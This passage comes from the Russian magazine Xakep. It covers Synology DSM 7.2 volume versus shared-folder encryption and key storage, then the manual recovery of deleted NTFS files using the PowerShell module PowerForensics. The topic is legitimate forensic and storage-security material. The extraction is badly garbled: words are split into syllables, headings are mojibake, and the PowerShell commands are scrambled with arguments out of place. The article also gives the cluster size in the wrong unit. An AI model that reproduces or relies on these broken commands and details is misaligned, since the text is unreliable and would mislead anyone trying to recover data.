1. Пос коль ку шиф руют ся отдель ные сетевые пап ки, не име ет зна чения,

на каком из внут ренних физичес ких или логичес ких накопи телей они рас- 
положе ны (а вот зашиф ровать таким обра зом USB-накопи тель поль- 
зовате лю не удас тся).

2. Каж дая сетевая пап ка может быть зашиф рована уни каль ным паролем.
Если поль зовате лей нес коль ко, каж дый может исполь зовать собс твен ный
пароль.

3. Содер жимое зашиф рован ной пап ки мож но прос то ско пиро вать на дру гой
накопи тель, и дан ные оста нут ся зашиф рован ными. Необ ходимос ти вво- 
дить (или даже знать) пароль шиф рования нет, так что резер вное копиро- 
вание как на локаль ные, так и на уда лен ные сис темы мож но про водить
без мон тирова ния (и рас шифров ки) сетевых папок.

4. eCryptFS защища ет как дан ные, так и име на фай лов и папок (пос леднее —
небес плат но).

Нес мотря на все дос тоинс тва, у шиф рования сетевых папок есть ряд сущес- 
твен ных недос татков:
1. Огра ниче ние на дли ну имен фай лов. В име ни фай ла в зашиф рован ной

пап ке не может быть боль ше 143 сим волов ANSI или 47 сим волов иерог- 
лифичес кой записи. Это пря мое следс твие шиф рования имен фай лов
и папок.

2. Нес мотря на то что име на фай лов и папок шиф руют ся, общая струк тура
дан ных оста ется дос тупной внеш нему наб людате лю, вклю чая раз меры
и атри буты отдель ных фай лов и папок.

3. Замет но стра дает ско рость дос тупа к дан ным, осо бен но если речь идет
о мно жес тве мел ких фай лов.

4. Раз работ чики Synology не пре дус мотре ли раз деления клю чей шиф- 
рования на пер вичные и вто рич ные. Для шиф рования дан ных исполь зует- 
ся ключ, получа емый нап рямую из пароля, который вво дит поль зователь.
Как следс твие — невоз можно отоз вать ском про мети рован ный пароль
или изме нить пароль шиф рования (рас шифров ку все го мас сива дан ных
с его пос леду ющим шиф ровани ем дру гим паролем мы не рас смат рива ем,
как мак сималь но неэф фектив ный спо соб пот ратить вре мя).

5. Наконец, механизм управле ния клю чами шиф рования Synology, хоть и не
явля ется частью eCryptFS, поз воля ет рас шифро вать содер жимое устрой- 
ства, если поль зователь вклю чит фун кцию авто мати чес кого мон тирова ния
зашиф рован ных папок.

Об рати прис таль ное вни мание на пункт 5: дан ные зашиф рован ных сетевых
папок уяз вимы, если поль зователь акти виру ет необя затель ную фун кцию авто- 
мати чес кого мон тирова ния. Если же он не ста нет это го делать, а то и вов се
решит не сох ранять пароль шиф рования ни на самом устрой стве, ни на внеш- 
нем USB-накопи теле, то для рас шифров ки защищен ных сетевых папок пот- 
ребу ется ата ка перебо ром паролей, что совер шенно не гаран тиру ет резуль- 
тата, если был выб ран длин ный и слож ный пароль. Это очень важ ный момент:
механизм управле ния клю чами в новом спо собе шиф рования Synology пре- 
тер пел кар диналь ные изме нения, но, увы, не в поль зу уси ления безопас- 
ности.

ØÈÔÐÎÂÀÍÈÅ ÄÈÑÊÎÂ: ÍÎÂÎÅ Â DSM 7.2

В недав но вышед шей вер сии DSM 7.2 появи лась воз можность шиф рования
тома — volume encryption. Исполь зует ся стан дар тный механизм LUKS
в режиме aes-xts-plain64.

Вклю чить шиф рование мож но толь ко на вновь соз дава емых томах. Зашиф- 
ровать дан ные на уже име ющем ся томе нель зя.

При вклю чении шиф рования тома сис тема пред ложит поль зовате лю сох- 
ранить резер вный ключ, с помощью которо го том мож но будет рас шифро- 
вать, если что-то слу чит ся с основной сис темой. Забегая впе ред, ска жу, что
ранее выдан ные резер вные клю чи мож но отоз вать, сге нери ровав новый ключ
(в этом слу чае ранее выдан ный ключ перес танет работать).

Важ ный момент: по умол чанию ключ к зашиф рован ному тому сох раня ется
на том же устрой стве, на котором соз дает ся сам зашиф рован ный том.
Это поз воля ет сис теме авто мати чес ки мон тировать зашиф рован ные тома
при заг рузке NAS. Не сох ранять ключ, рав но как и отка зать ся от авто мати чес- 
кого мон тирова ния тома при заг рузке, нель зя: единс твен ная аль тер натива —
исполь зовать внеш ний KMIP-сер вер, в роли которо го на дан ный момент
может выс тупать толь ко дру гой NAS от Synology (как это работа ет, мож но
узнать в ).до кумен тации про изво дите ля

За пишем в блок нотик: в бета-вер сиях DSM 7.2 была воз можность исполь- 
зовать KMIP-сер веры сто рон ней раз работ ки (кста ти, сами раз работ чики
Synology как раз и исполь зуют один из вари антов с откры тым исходным
кодом). В релизе DSM 7.2 эту воз можность убра ли, на мой взгляд — совер- 
шенно нап расно с точ ки зре ния безопас ности дан ных, но очень пра виль но
с точ ки зре ния мар кетин га (воз можность про дать допол нитель ное устрой ство
Synology из све жей линей ки —  под держи вают нуж ные для орга- 
низа ции KMIP-сер вера фун кции).

толь ко такие

Та ким обра зом, получа ем два воз можных вари анта хра нения клю чей —
и оба небезо пас ны:
1. Ключ к зашиф рован ному тому хра нит ся на локаль ном устрой стве. В этом

слу чае мы име ем дело с клас сичес ким security through obscurity:
в докумен тации Synology нет информа ции о том, где имен но хра нит ся
ключ шиф рования, и это — единс твен ное, что может не оста новить,
но замед лить зло умыш ленни ка, получив шего физичес кий дос туп к устрой- 
ству.

2. Ключ хра нит ся на дру гом устрой стве Synology: в этом слу чае зло умыш- 
ленни ку при дет ся получить физичес кий дос туп уже к двум устрой ствам
и повозить ся с рас шифров кой клю ча шиф рования, который хра нит ся
на вто ром девай се. И если вто рое устрой ство Synology, выпол няющее
роль KMIP-сер вера, находит ся в той же или сосед ней ком нате, что
и устрой ство с зашиф рован ным томом, то полагать ся на него для защиты
пляж ных фото в купаль нике, навер ное, мож но, а вот без таково го, пожалуй,
не сто ит. И хотя безопас ность KMIP — тема отдель ная и доволь но
обширная, физичес кая недос тупность KMIP-сер вера для зло умыш ленни- 
ка — один из клю чевых момен тов в обес печении безопас ного хра нения
клю чей. В скоб ках отме тим: KMIP-сер вер может хра нить клю чи как на
обыч ных, так и на зашиф рован ных томах.

ÑÎÂÌÅÑÒÍÎÅ ÈÑÏÎËÜÇÎÂÀÍÈÅ ØÈÔÐÎÂÀÍÈß ÒÎÌÀ È ÑÅÒÅÂÛÕ
ÏÀÏÎÊ

Мне было инте рес но узнать, получит ся ли соз дать зашиф рован ную сетевую
пап ку на зашиф рован ном томе. Ока залось, что никаких пре пятс твий к это му
нет: шиф рование тома пол ностью проз рачно; на зашиф рован ных томах мож-
но соз давать и исполь зовать как зашиф рован ные, так и незашиф рован ные
сетевые пап ки. Мож но как реп лициро вать на зашиф рован ные тома сним ки
(снап шоты) зашиф рован ных на дру гом NAS сетевых папок, так и про делы вать
то же самое в обратную сто рону. Короче говоря, шиф рование тома целиком
и пол ностью проз рачно.

Та ким обра зом, в DSM 7.2 дос тупны сле дующие вари анты защиты дан ных:
1. Толь ко шиф рование тома.
2. Толь ко шиф рование сетевых папок.
3. Зашиф рован ные сетевые пап ки на зашиф рован ном томе.

Ра зуме ется, при исполь зовании в качес тве вто рого слоя защиты шиф рования
сетевых папок мы получим все те огра ниче ния, которые были опи саны
в начале статьи. Кро ме того, веро ятно, общая ско рость дос тупа к дваж ды
зашиф рован ным дан ным еще нем ного упа дет (замеры про изво дитель нос ти
каж дого вари анта шиф рования — тема для отдель ной статьи).

Продолжение статьи →
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ØÈÔÐÎÂÀÍÈÅ ÒÎÌÀ: ÊÀÊ ÝÒÎ ÂÛÃËßÄÈÒ

Прой дем ся по про цес су соз дания зашиф рован ного тома и соот ветс тву ющим
нас трой кам.

Пер вые шаги при соз дании зашиф рован ного тома не отли чают ся от при- 
выч ных для Synology DSM. Нас трой ки шиф рования появ ляют ся на вто ром
шаге.

При вклю чении шиф рования тебе нуж но выб рать пароль хра нили ща (vault
password), который по умол чанию будет сох ранен на локаль ном устрой стве.

На сле дующем шаге сис тема пред ложит сох ранить ключ вос ста нов ления
(recovery key).

На конец, сис тема пре дуп редит о пос ледс тви ях, которые нас тупят, если ты
потеря ешь и ключ вос ста нов ления, и дос туп к хра нили щу.

Об рати вни мание: что бы исполь зовать шиф рование тома, тебе при дет ся
вклю чить хра нили ще клю чей шиф рования (тот пароль, который ты вво дил
на пер вом шаге, исполь зует ся для защиты хра нили ща клю чей).

Ес ли ты забудешь пароль к хра нили щу — ничего страш ного, его мож но сбро- 
сить в любой момент. Знать ори гиналь ный пароль не нуж но; все, что тебе
пот ребу ется, — ука зать пароль поль зовате ля DSM с адми нис тра тор ским дос- 
тупом.

От клю чить хра нили ще ты не смо жешь.

По край ней мере до тех пор, пока не нас тро ишь уда лен ное хра нение клю чей
на KMIP-сер вере.

В роли KMIP-сер вера может выс тупать толь ко дру гой NAS от Synology, при- 
чем толь ко такой, который под держи вает шиф рование тома (а это — модели
от 2020-го модель ного года). Хра нили ще клю чей шиф рования мож но соз дать
как на обыч ном, так и на зашиф рован ном томе.

Ес ли ты утра тишь дос туп к хра нили щу, мож но рас шифро вать том при помощи
ранее соз данно го клю ча вос ста нов ления дос тупа. Если ключ вос ста нов ления
дос тупа будет утра чен или ском про мети рован, ты смо жешь сге нери ровать
новый (ранее соз данный ключ при этом будет отоз ван).

Кста ти, каж дое устрой ство Synology (из тех, что под держи вают шиф рование
тома) может исполь зовать ся и в качес тве KMIP-сер вера, и в качес тве кли- 
ента.

Единс твен ное огра ниче ние: ты не можешь исполь зовать пару устрой ств
для вза имно го хра нения клю чей (если устрой ство А выс тупа ет в роли KMIP-
сер вера для устрой ства Б, то устрой ство Б не может быть KMIP-сер вером
для устрой ства А).

INFO

Один из поль зовате лей раз работал решение
с откры тым исходным кодом для Raspberry Pi
или дру гого компь юте ра под управле нием Linux
на осно ве PyKMIP. Про ект 

 поз воля ет хра нить клю чи шиф- 
рования на внеш нем устрой стве, где они могут
быть защище ны любым удоб ным спо собом, нап- 
ример сох ранены на зашиф рован ном томе LUKS,
который не будет авто мати чес ки мон тировать ся
при заг рузке сер вера. К сожале нию, в релизе
DSM 7.2 этот спо соб работать перес тал: воз- 
можность исполь зования сто рон них KMIP-сер- 
веров раз работ чики DSM отклю чили.

KMIP Server for
Synology DSM

ØÈÔÐÎÂÀÍÈÅ ÒÎÌÀ Â SYNOLOGY È QNAP

В сетевых хра нили щах QNAP под держи вают ся все воз можные виды шиф- 
рования — от SED до шиф рования тома и сетевых папок вклю читель но.
Об этом мы писали в статье «

». Я не буду под робно срав нивать осо бен ности реали зации
шиф рования и хра нения клю чей в устрой ствах раз ных про изво дите лей; отме- 
чу лишь, что такие опе рации, как мон тирова ние, раз монти рова ние и сме на
клю чей зашиф рован ных томов, занима ют на устрой ствах QNAP нес коль ко
минут, а на устрой ствах Synology — счи таные секун ды.

Слои защиты. Три уров ня шиф рования в сетевых
хра нили щах QNAP

ÑÐÀÂÍÅÍÈÅ ØÈÔÐÎÂÀÍÈß ÒÎÌÀ È ØÈÔÐÎÂÀÍÈß ÑÅÒÅÂÛÕ
ÏÀÏÎÊ

Ес ли срав нить шиф рование тома и сетевых папок, то мож но сде лать сле- 
дующие выводы.

Шиф рование тома обес печива ет защиту все го хра няще гося на томе
содер жимого, вклю чая все сетевые пап ки (в том чис ле домаш ние пап ки поль- 
зовате лей), метадан ные фай ловой сис темы, вир туаль ные машины, при ложе- 
ния и кон тей неры. Шиф рование сетевых папок защища ет толь ко содер жимое
фай лов и име на фай лов и папок; струк тура фай ловой сис темы и метадан ные
при этом сво бод но дос тупны.

Оба метода поз воля ют сме нить пароль для дос тупа к хра нили щу клю чей,
но толь ко шиф рование тома дает воз можность сме нить ском про мети рован- 
ный ключ вос ста нов ления и отоз вать ранее выдан ные клю чи. Шиф рование
сетевых папок тре бует рас шифров ки и пов торно го шиф рования всех дан ных
для сме ны ском про мети рован ного клю ча.

Шиф рование тома име ет стан дар тное для Linux огра ниче ние на дли ну
име ни фай лов и папок в 255 сим волов, в то вре мя как шиф рование сетевых
папок име ет огра ниче ние в 143 сим вола.

Шиф рование тома обес печива ет при рост про изво дитель нос ти на 48%
по срав нению с шиф ровани ем папок (по офи циаль ным дан ным Synology).
Шиф рование сетевых папок может вызывать замет ное падение быс тро дей- 
ствия, осо бен но при работе с неболь шими фай лами.

Спо собы хра нения клю чей и управле ния ими силь но раз лича ются. Шиф- 
рование тома пре дус матри вает локаль ное хра нение клю чей (они защища- 
ются паролем хра нили ща, который так же обя затель но сох раня ется на локаль- 
ном дис ке) либо воз можность хра нения на сер вере KMIP (в роли которо го
может выс тупать толь ко дру гое устрой ство Synology пос ледних лет выпус ка).
Шиф рование сетевых папок исполь зует локаль ное или USB-хра нили ще
с защитой паролем, который может сох ранять ся локаль но на устрой стве
или не сох ранять ся вов се.

Оба метода под держи вают авто мати чес кое мон тирова ние при заг рузке,
но оно обя затель но для шиф рования тома и опци ональ но для шиф рования
сетевых папок.

В сле дующей таб лице я соб рал основные осо бен ности обо их методов
шиф рования.

ÂÛÂÎÄÛ

Что луч ше — шиф рование тома или сетевых папок? Выбор меж ду эти ми дву- 
мя вари анта ми зависит от кон крет ных пот ребнос тей и тре бова ний безопас- 
ности. Шиф рование тома пред лага ет более широкий спектр защиты,
высокую про изво дитель ность и гиб кость в управле нии клю чами, в то вре мя
как шиф рование сетевых папок более удоб но в исполь зовании и не тре бует
обя затель ного сох ранения пароля, а так же авто мати чес кого мон тирова ния
зашиф рован ных дан ных при заг рузке устрой ства. Пос коль ку в DSM 7.2 под- 
держи вает ся одновре мен ное шиф рование как тома, так и сетевых папок, ты
можешь зашиф ровать том (это быс тро и удоб но) и исполь зовать допол- 
нитель ное шиф рование толь ко для тех сетевых папок, для которых это дей- 
стви тель но нуж но.

https://github.com/rnurgaliyev/kmip-server-dsm
https://xakep.ru/2020/12/24/qnap-encryption/
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ТРЮКИ

Су щес тву ет мно жес тво спо собов вер нуть
утра чен ные или уда лен ные с накопи телей
фай лы. В статье мы с тобой осве жим
в памяти теоре тичес кие осно вы вос ста нов- 
ления уда лен ной информа ции в фай ловой
сис теме NTFS v3.1 и под робно рас смот рим
прак тичес кий спо соб руч ного вос ста нов- 
ления фай лов с исполь зовани ем
PowerShell.

INFO

Хо чу отдать дол жное  за его тру- 
ды на эту тему и под робное опи сание теории
и прак тики в кни ге «

», а заод но поб лагода- 
рить  и 
за обновле ние и пере изда ние кни ги в 2021 году.

Кри су Кас пер ски

Вос ста нов ление дан ных.
Прак тичес кое руководс тво

Ва лен тина Хол могоро ва Ксе нию Кирило ву

Се год ня соз дано пре дос таточ но прог рам мных решений для вос ста нов ления
уда лен ных фай лов с раз личных фай ловых сис тем. Одна ко, если переф- 
разиро вать извес тное изре чение, прак тика без теории мер тва: что бы мак- 
сималь но эффектив но исполь зовать инс тру мен ты, нуж но понимать, как они
работа ют. Если перед спе циалис том сто ит задача не прос то вер нуть утра чен- 
ные фай лы, а разоб рать ся в при чинах инци ден та, зна ния об устрой стве фай- 
ловых сис тем прос то необ ходимы.

ÒÅÎÐÈß

Под робно рас смат ривать струк туру NTFS я не вижу смыс ла, опи сание мож но
най ти в 
и статье « » (в двух час тях). Одна ко,
что бы наши дей ствия при вос ста нов лении фай лов были осмыслен ными, нам
все же при дет ся осве жить в памяти некото рые клю чевые осо бен ности фай- 
ловой сис темы NTFS 3.1, а заод но вспом нить, как хра нят ся и уда ляют ся фай- 
лы.

кни ге Кри са «Вос ста нов ление дан ных. Прак тичес кое руководс тво»
Фай ловая сис тема NTFS извне и изнутри

WARNING

Не хра ни важ ные фай лы на одном томе с опе- 
раци онной сис темой (обыч но это диск С):
на этом томе в NTFS чаще все го про исхо дят
изме нения даже без пря мого учас тия поль зовате- 
ля, что может пов лиять на вос ста нов ление утра- 
чен ной информа ции. Дан ные пос ле уда ления
на этом дис ковом раз деле могут быть переза- 
писа ны сис темны ми фай лами.

В фай ловой сис теме NTFS работа ет прин цип «все есть файл». Файл же име ет
опре делен ный набор атри бутов. Мы не будем раз бирать все атри буты фай- 
лов, зат ронем толь ко самые важ ные: , , .$STANDARD_INFO $FILE_NAME $DATA

В атри бутах  и  записа ны мет ки вре мени, под- 
робнее о них мы погово рим поз же, а в атри буте  хра нит ся содер жимое

резиден тно го фай ла. В слу чае с нерези ден тны ми фай лами там рас полага- 
ются «ссыл ки» на раз бро сан ное по сек торам содер жимое фай ла, называ- 
емое data runs или отрезка ми. Отрезки пред став ляют собой пос ледова тель- 
ность клас теров, которые хра нят содер жимое нерези ден тно го фай ла, а в
качес тве упо мяну тых «ссы лок» в атри буте  исполь зует ся номер началь- 
ного клас тера и количес тво иду щих сле дом клас теров. Как видишь, матема- 
тика прос тая: если файл нерези ден тный (боль ше 720 байт), нам нуж но най ти
клас тер, с которо го он начина ется, и соб рать все клас теры воеди но в вер ном
поряд ке, а пос ле записать содер жимое клас теров в новый файл.

$STANDARD_INFO $FILE_NAME
$DATA

$DATA

Все фай ловые атри буты хра нят ся в фай ловой записи (File Record) таб лицы
Master File Table ( ). Это наиваж ней ший слу жеб ный файл (отто го он име ет
резер вную копию ), так как содер жит в себе информа цию обо всех

фай лах и дирек тори ях на томе. Имея на руках толь ко файл , мож но выс- 

тро ить хро ноло гию свя зан ных с фай лами событий, а в некото рых слу чаях —
вос ста новить фай лы.

$mft
$mftmirr

$mft

Еще один важ ный слу жеб ный файл — кар та сво бод ного прос транс тва
. С ее помощью отсле жива ются все исполь зуемые и неис поль зуемые

клас теры, что, конеч но же, нап рямую свя зано с соз дани ем и уда лени ем фай- 
лов или дирек торий. Клас тер же в NTFS — минималь ная еди ница дис кового
прос транс тва, дос тупно го для раз мещения фай лов и дирек торий в фай ловой
сис теме NTFS. По умол чанию раз мер клас тера равен 4096 Kбайт, но при соз- 
дании тома .

$BitMap

мож но задать иной раз мер
Про цесс уда ления фай ла под робно опи сан в , так же информа- 

цию мож но най ти в статье «
».

кни ге Кри са
Раз гре баем руины. Как вос ста новить уда лен ные

фай лы на раз делах NTFS

ÐÅÇÈÄÅÍÒÍÛÅ È ÍÅÐÅÇÈÄÅÍÒÍÛÅ  ÀÒÐÈÁÓÒÛÔÀÉËÛ

Не кото рые матери алы, пос вящен ные фай ловой сис теме NTFS v3.1, упо мина- 
ют о резиден тных и нерези ден тных фай лах. Резиден тны ми фай лами счи тают- 
ся те, раз мер которых мень ше или равен 720 байт (это количес тво бай тов
было получе но исклю читель но опыт ным путем в NTFS v3.1 в Windows 10, хотя
в дру гих источни ках читатель может най ти иную информа цию о мак сималь ном
раз мере резиден тно го фай ла: он варь иру ется от 700 байт до 1 Кбайт). Такие
фай лы хра нят все содер жимое в  (Master File Table), и в этом слу чае флаг

нерези ден тнос ти (Non-resident ag) у них равен . Для нерези ден тных фай- 
лов (стро го боль ше 720 байт) флаг Non-resident ag равен .

$mft
00h

01h
На самом деле флаг резиден тнос ти при сущ каж дому атри буту фай ла

в отдель нос ти (в том чис ле ,  и дру гим атри бутам), а не самому фай лу
как таково му. Нес мотря на наличие такого фла га у каж дого атри бута, сущес- 
тву ют исклю читель но резиден тные атри буты, которые хра нят свои дан ные
толь ко в фай ле  (нап ример, , ,

). Есть атри буты, которые могут быть как резиден тны ми, так
и нерези ден тны ми (это спра вед ливо по отно шению к атри бутам , 

и дру гим). Наконец, сущес тву ют фай ловые атри буты, которые хра нят свои
дан ные исклю читель но за пре дела ми , то есть явля ются стро го нерези- 
ден тны ми ( , ,  и про чие).

$FN $SI

$mft $FILE_NAME $STANDARD_INFO
$VOLUME_NAME

$DATA $EA

$mft
$BITMAP $REPARSE_POINT $SECURITY_DESCRIPTOR

Âðåìÿ è àòðèáóòû $STANDARD_INFO è $FILE_NAME
При соз дании фай ла на томе, переме щении меж ду томами и прак тичес ки
любых манипу ляци ях с фай лами (пере име нова ние, локаль ное переме щение,
дос туп внут ри одно го тома, изме нение) у фай ла изме няют ся атри буты

 (далее — ) и  (далее — ). В них ука зано

вре мя, ког да про изош ло дей ствие с фай лом.

$STANDARD_INFO $SI $FILE_NAME $FN

В сле дующих таб лицах показа но, какие атри буты фай лов  и  меня- 

ются и при каких дей стви ях с фай лом.

$SI $FN

Из менение атри бута $FILE_NAME

Из менение атри бута $STANDARD_INFO

Здесь
Modication — изме нение атри бутов  и ;• $Data $INDEX

Accessed — обра щение к содер жимому фай ла;•
Change (MFT) — запись в таб лицу MFT (не отоб ража ется в Windows);•
BornTime или birthday of le — соз дание фай ла.•

Важ но, что при уда лении через del или erase атри буты 

и  не изме няют ся.

$FILE_NAME
$STANDARD_INFO

Зная мет ки вре мени опре делен ных фай лов и пра вила изме нения атри- 
бутов, спе циалист по рас сле дова нию инци ден тов спо собен выс тро ить вер- 
ную хро ноло гию событий. Вре мя, в которое про изош ли те или иные дей ствия
с фай лами, при про веде нии кри мина лис тичес кого рас сле дова ния может
стать одним из важ ней ших арте фак тов.

Продолжение статьи →

mailto:anton.aleksandrovich65@gmail.com
https://xakep.ru/author/kaspersky/
https://bhv.ru/product/vosstanovlenie-dannyh-prakticheskoe-rukovodstvo-2-e-izdanie/
https://xakep.ru/author/valentin-holmogorov/
https://xakep.ru/author/kclo3/
https://bhv.ru/product/vosstanovlenie-dannyh-prakticheskoe-rukovodstvo-2-e-izdanie/
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https://support.microsoft.com/en-us/topic/default-cluster-size-for-ntfs-fat-and-exfat-9772e6f1-e31a-00d7-e18f-73169155af95
https://bhv.ru/product/vosstanovlenie-dannyh-prakticheskoe-rukovodstvo-2-e-izdanie/
https://xakep.ru/2021/04/20/ntfs-restore/
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ТРЮКИ  НАЧАЛО СТАТЬИ←

ÂÎÑÑÒÀÍÎÂËÅÍÈÅ ÔÀÉËÎÂ, ÓÄÀËÅÍÍÛÕ Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ
DEL ÈËÈ ERASE

Нас тало вре мя прис тупить к прак тичес кой час ти, что бы зак репить теорию
и поуп ражнять ся в вос ста нов лении уда лен ных фай лов. Но для начала сле дует
выделить два спо соба уда ления фай лов в Windows:

уда ление c исполь зовани ем сис темных ути лит del (Shift-Del) или erase;•
уда ление через кор зину.•

Та кое раз деление свя зано с раз ницей в механиз ме уда ления и некото рым
отли чием при вос ста нов лении фай лов.

WARNING

Ни ког да не вос ста нав ливай уда лен ные фай лы
на тот же том, с которо го они были уда лены. Луч- 
ше все го исполь зовать отдель ный носитель.

В пер вую оче редь раз берем ся с вос ста нов лени ем нерези ден тных фай лов,
а даль ше пос мотрим, как вос ста нав ливать резиден тные. Итак, прак тиковать- 
ся мы будем с исполь зовани ем PowerShell-модуля PowerForensics авторс тва
Джа реда Эткинсо на. Этот модуль прост в уста нов ке и содер жит полез ные
коман дле ты для работы с фай ловыми сис темами NTFS и FAT. Он поз воля ет
работать с сис темны ми фай лами Windows и пар сить атри буты фай лов NTFS,
кон верти ровать мет ки вре мени из бай тового пред став ления в челове кочи- 
таемое (что необ ходимо в форен зике). Под робнее узнать о воз можнос тях
модуля мож но из .его опи сания

Для начала уста новим этот модуль (нуж но запус кать PowerShell от име ни
адми нис тра тора, пос коль ку при чте нии слу жеб ных фай лов тре буют ся при- 
виле гии локаль ного адми нис тра тора):

Import-Module PowerForensics 

Про верим, что все прош ло успешно, для это го выпол ним коман длет

Get-Command - Module PowerForensics 

Ус танов ка модуля PowerForensics

Ус танов ка модуля завер шена, теперь давай най дем все уда лен ные фай лы
на томе. В глав ной фай ловой таб лице они име ют флаг уда ления  по сме- 
щению 16 байт от начала фай ловой записи.

00h

Как уже было ска зано в теоре тичес кой час ти, в Windows пос тоян но про- 
исхо дят изме нения, какие-то фай лы уда ляют ся, а какие-то, наобо рот, соз- 
дают ся (нап ример, начиная с Windows 8 количес тво фай лов Prefetch огра-
ниче но 1024, поэто му ста рые уда ляют ся сис темой, а новые соз дают ся
при запус ке исполня емых фай лов).

Для чис тоты экспе римен та соз дадим том F (запус каем ,
затем сжи маем име ющий ся том и отда ем для нового 5 Гбайт с дефол тным
раз мером клас тера 4096 Кбайт). Помес тим туда файл (в роли подопыт ного
будет выс тупать каль кулятор, но читатель может исполь зовать любой дру гой
файл)  и уда лим его через erase (то же самое будет при уда лении

через del или Shift-Del).

diskmgmt.msc

calc.exe

Те перь для поис ка уда лен ного фай ла на томе  вос поль зуем ся коман дле- 
том  и отфиль тру ем вывод по фла гу 

для атри бута :

F
Get-ForensicsFileRecord True

Deleted

Get-ForensicFileRecord -VolumeName F: | Where-Object {$_.Deleted}

По луче ние уда лен ных фай лов на томе F

Здесь мы видим основные фай ловые атри буты и их зна чения, одна ко для вос- 
ста нов ления нам пот ребу ется зна чение фай ловой записи .
Пос ле того как файл будет най ден, для даль нейших дей ствий луч ше поль- 
зовать ся номером фай ловой записи, так как имя фай ла может изме нять ся
в про цес се уда ления (далее мы раз берем этот слу чай). Имея номер фай- 
ловой записи, мы смо жем отыс кать недос тающие эле мен ты, если файл
нерези ден тный, и соб рать его воеди но по кусоч кам, пос ле чего записать
содер жимое в новый файл.

RecordNumber

Для это го запишем в перемен ную  объ ект фай ла со свой- 

ства ми (атри бута ми фай ла):

$file_record

  F:  43 $file_record = Get-ForensicFileRecord -VolumeName -Index

Те перь мы можем обра тить ся к отдель ному атри буту и узнать инте ресу ющую
нас информа цию. Для вос ста нов ления нам нуж но опре делить номер началь- 
ного клас тера и общее количес тво занима емых фай лом клас теров. Для это го
в перемен ную  запишем содер жимое атри бута :$file_descriptor $DATA

 $file_descriptor=$file_record.Attribute | Where-Object {$_.name -eq
'DATA'}`

Пос ле чего мы можем получить зна чения началь ного клас тера и количес тва
клас теров, которые занима ет наш файл. В перемен ную  сох- 

раним эти дан ные:

$start_cluster

   $start_cluster = $file_descriptor.DataRun | select *

На рисун ке спра ва мы видим содер жимое этой перемен ной в кон соли
PowerShell, а сле ва — атри бут  с его полями для нашего уда лен ного

фай ла.

$Data

На чаль ный клас тер и количес тво исполь зуемых клас теров

Те перь дело за малым: нуж но записать содер жимое по «адре су» выше
(номер началь ного клас тера и количес тво клас теров) в вос ста нов ленный
файл на томе.

Бу дем записы вать на том , что бы не затереть уда лен ные дан ные на томе

. Мож но выпол нить запись при помощи коман дле та 

из модуля PowerForensics или исполь зовать  из биб лиоте ки
:

С:
F: Invoke-ForensicDD

WriteAllBytes
System.IO.File

 . :  4096  
 4096   1  C:

Invoke-ForensicDD -InFile \\ \F -Offset ($st_cl.StartCluster* )
-BlockSize ($st_cl.ClusterLength* ) -Count -OutFile \calc.exe 

Здесь мы ука зыва ем в парамет ре  том и рас положе ние фай ла,
который будет ско пиро ван (в нашем слу чае это том F и рас положе ние уда- 
лен ного фай ла). В качес тве сме щения на дис ке ука зыва ем адрес началь ного
клас тера, умно жен ный на 4096, и количес тво клас теров, так же умно жен ных
на 4096, ведь раз мер клас тера на нашем томе равен 4096 Кбайт. Пос ле чего
ука зыва ем количес тво фай лов на дис ке и путь с име нем фай ла, куда будет
вос ста нов лен наш файл.

InFile

В резуль тате мы получа ем наш рабочий каль кулятор в кор не тома 

.

C:\
calc.exe

Вос ста нов ление каль кулято ра

Вот толь ко есть одно но: нес мотря на то что каль кулятор запус кает ся
и работа ет без нарека ний, хеш-сум мы ори гиналь ного фай ла (до уда ления)
и фай ла пос ле вос ста нов ления не бьют ся…

При чина тому — раз ница в раз мере фай ла пос ле вос ста нов ления. Раз мер
фай ла до уда ления равен 27 648 байт, а пос ле вос ста нов ления — 28 672 (что
при делении на 4096 дает нам 7 — те самые семь клас теров в сум ме). То есть
при вос ста нов лении мы забот ливо дозапи сали нулями 1024 байт, это нуж но
и важ но учи тывать при получе нии ори гиналь ного фай ла. Зна чения реаль ного
раз мера фай ла ( ) и выделен ного под хра нение фай ла прос- 

транс тва ( ) хра нят ся в атри буте . Вся
информа ция у нас на руках, давай наведем кра соту. Для это го, преж де чем
сох ранить содер жимое клас теров в файл, запишем мас сив бай тов
в перемен ную :

RealSize=27 648
AllocationSize=28 672 $DATA

$bytearray

  . :  
4096   4096   1 

$bytearray = Invoke-ForensicDD -InFile \\ \F -Offset ($st_cl.
StartCluster* ) -BlockSize ($st_cl.ClusterLength* ) -Count

Пос ле чего, исполь зуя фун кцию  сис темной биб лиоте ки

, запишем содер жимое в файл, ука зав вер хнюю гра ницу мас- 
сива для записи :

WriteAllBytes
System.IO.File

[0..($bytearray.Length - (1024 + 1))]

, 0..[System.IO.File]::WriteAllBytes("C:\calc.exe" $bytearray[ (
$bytearray.Length - (1024 + 1))])

Те перь пос чита ем хеш-сум мы и срав ним получен ные зна чения.

За пись в файл

Как и ожи далось, хеш-сум мы бьют ся, зна чит, пос ле вос ста нов ления содер- 
жимое фай ла изме нено не было. Если с вос ста нов лени ем уда лен ных
с исполь зовани ем del (Shift-Del) или erase фай лов все понят но, то что про- 
исхо дит в сис теме, ког да ты переме щаешь файл в кор зину?

ÂÎÑÑÒÀÍÎÂËÅÍÈÅ ÔÀÉËÎÂ, ÓÄÀËÅÍÍÛÕ ×ÅÐÅÇ ÊÎÐÇÈÍÓ

Сра зу сле дует отме тить, что переме щение фай ла в кор зину не рав но уда- 
лению: файл уда ляет ся пос ле очис тки кор зины (хоть это и оче вид но, тем
не менее упо мянуть об этом сто ит).

Пос ле переме щения фай ла в кор зину в дирек тории 

 соз дает ся два фай ла c име нами, которые начина ются с  и 
и закан чива ются ори гиналь ным рас ширени ем переме щен ного в кор зину
фай ла. Даже с отоб ражени ем скры тых фай лов в дирек тории нам не удас тся
пос мотреть на соз данные пос ле переме щения в кор зину фай лы. Что бы
до них доб рать ся, содер жимое дирек тории 

 нуж но перемес тить в спе циаль но соз данную для иссле дова ния дирек торию

(мож но вос поль зовать ся PowerShell-коман дле том Copy-Item). Пос ле переме- 
щения нам ста нут дос тупны сле дующие фай лы:

C:\$Recycle.Bin\<
User’s SID>\ $I $R

C:\$Recycle.Bin\<User’s SID>
\

1.  (далее — ) — файл с метадан- 
ными, соз дает ся, как толь ко файл переме щает ся в кор зину. Он исполь- 
зует ся для вос ста нов ления фай ла из кор зины средс тва ми Microsoft, под- 
робнее раз бор фай ла будет при веден ниже.

$I<random>.original_extension $I

2.  (далее — ) — файл, который соз- 
